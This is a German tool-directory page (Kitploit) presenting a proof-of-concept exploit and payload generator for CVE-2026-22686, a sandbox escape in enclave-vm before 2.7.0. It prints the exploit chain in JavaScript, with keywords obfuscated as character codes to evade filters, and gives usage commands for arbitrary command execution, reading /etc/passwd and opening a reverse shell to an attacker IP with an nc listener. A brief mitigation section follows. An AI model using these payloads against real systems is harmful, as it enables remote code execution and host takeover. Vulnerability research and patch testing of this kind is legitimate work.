Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht. | Kitploit
Tools/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & BildungRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Proof-of-Concept-Exploit und Payload-Generator für CVE-2026-22686, einen Sandbox-Escape in enclave-vm <2.7.0, der beliebige Codeausführung und Reverse Shells ermöglicht.

Repository anzeigen
27vor 20 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22686 — enclave-vm Sandbox-Escape PoC

CVE CVSS enclave-vm Python License

Ein Proof-of-Concept (PoC)-Exploit und Payload-Generator für CVE-2026-22686, eine kritische Sandbox-Escape-Schwachstelle in enclave-vm in Versionen vor 2.7.0, die die Ausführung beliebigen Codes innerhalb der Host-Node.js-Laufzeitumgebung ermöglicht.

⚠️ Haftungsausschluss: Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die Nutzung gegen Systeme ohne vorherige schriftliche Zustimmung ist illegal. Der Autor übernimmt keine Haftung für jeglichen Missbrauch.


📖 Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Funktionsweise
  • Installation
  • Verwendung
  • Payload-Anatomie
  • Gegenmaßnahmen
  • Rechtliches
  • Referenzen
  • Autor
  • Lizenz

🔍 Überblick

enclave-vm ist eine JavaScript-Sandboxing-Bibliothek, die entwickelt wurde, um nicht vertrauenswürdigen Code sicher in einer kontrollierten Umgebung auszuführen. In Versionen < 2.7.0 ermöglicht ein Fehler in der Art und Weise, wie hostseitige Fehlerobjekte für die Sandbox verfügbar gemacht werden, einem Angreifer, die Prototypenkette zu durchlaufen und den Function-Konstruktor des Hosts zu erreichen, wodurch die Sandbox effektiv umgangen wird.

Dieses Repository enthält:

  • Einen Payload-Generator, der eine sofort einsetzbare JavaScript-Payload erzeugt
  • Unterstützung für beliebige Befehlsausführung auf dem Host
  • Unterstützung für Reverse-Shell-Payloads
  • Eine zweisprachige interaktive CLI (Französisch / Englisch)

🛡️ Schwachstellendetails

FeldWert
CVE-IDCVE-2026-22686
CVSS v3.110.0 (Kritisch)
CWECWE-693 — Fehler des Schutzmechanismus
Komponenteenclave-vm
Betroffen< 2.7.0
Behoben in2.7.0
AuswirkungSandbox-Escape → Ausführung beliebigen Codes (RCE)

Ursache

Wenn ein sandboxed Tool-Aufruf fehlschlägt, gibt enclave-vm das hostseitige Error-Objekt an den sandboxed Code zurück. Da dieses Fehlerobjekt seine ursprüngliche Prototypenkette aus der Host-Umgebung beibehält, kann ein Angreifer die Kette wie folgt durchlaufen:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Sobald der Host-Function-Konstruktor erlangt wurde, kann der Angreifer beliebiges JavaScript in der Host-Laufzeitumgebung kompilieren und ausführen — wodurch die Sandbox vollständig umgangen wird.


⚙️ Funktionsweise

Der Exploit folgt diesen Schritten:

  1. Einen hostseitigen Fehler auslösen, indem ein nicht existierendes Tool aufgerufen wird (callTool('NONEXISTENT', {})).
  2. Das Fehlerobjekt abrufen aus der Sandbox (es behält eine Referenz auf die Host-Prototypenkette).
  3. Die Prototypenkette durchlaufen, um Error.prototype.constructor.constructor zu erreichen, was die Function des Hosts ist.
  4. Die Payload des Angreifers kompilieren unter Verwendung der Host-Function und ausführen.
  5. Die Payload lädt child_process und führt einen beliebigen Shell-Befehl aus (oder startet eine Reverse Shell).

Alle sensiblen Schlüsselwörter (constructor, __proto__, __lookupGetter__, prototype) sind als ASCII-Zeichencodes obfuskiert, um naive statische Filter zu umgehen.


📦 Installation

Keine externen Abhängigkeiten — verwendet nur die Python-Standardbibliothek.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Voraussetzungen:

  • Python 3.8+

🚀 Verwendung

Interaktiver Modus

python3 generator.py

Sie werden aufgefordert:

  1. Ihre Sprache auszuwählen (Französisch / Englisch)
  2. Den Payload-Typ auszuwählen (Befehl oder Reverse Shell)
  3. Den Befehl / die IP / den Port anzugeben

Kopieren Sie dann die generierte Payload und fügen Sie sie in die verwundbare Sandbox-Eingabe ein.

Befehlsausführung

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse Shell

Terminal 1 (Angreifer — Listener):

nc -lvnp 4444

Terminal 2 (Generator):

python3 generator.py --revshell 10.10.15.152 4444

Kopieren Sie die resultierende Payload und fügen Sie sie in die Sandbox ein. Sie sollten eine Shell in Terminal 1 erhalten.

Roh-Payload-Ausgabe

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI-Optionen

FlagBeschreibung
-c, --commandAuszuführender Shell-Befehl
--revshell LHOST LPORTReverse-Shell-Payload generieren
--rawNur die Payload ausgeben (kein Banner, keine Dekoration)
--lang {fr,en}Sprache der Oberfläche erzwingen
-h, --helpHilfe und Beispiele anzeigen

🔬 Payload-Anatomie

1. ASCII-Decoder

const s = (...args) => String.fromCharCode(...args);

Ein kleiner Helfer, um ASCII-Code-Arrays zur Laufzeit zu dekodieren.

2. Obfuskierte Schlüsselwörter

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Vermeidet triviale stringbasierte Filter.

3. Exploit-Kette

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

Die Host-Function wird dann verwendet, um den Befehl des Angreifers über child_process.execSync() auszuführen.


🛡️ Gegenmaßnahmen

Für Entwickler:

  • Aktualisieren Sie enclave-vm auf >= 2.7.0.
  • Überprüfen Sie Ihren Abhängigkeitsbaum regelmäßig (npm audit, Snyk, Dependabot).
  • Stellen Sie Sandbox-Ausführungsfunktionen niemals ohne zusätzliche Validierung für nicht vertrauenswürdige Eingaben bereit.
  • Führen Sie sandboxed Code in isolierten Prozessen aus (z. B. isolated-vm, gVisor, Firecracker).

Für Benutzer / Organisationen:

Tool herunterladen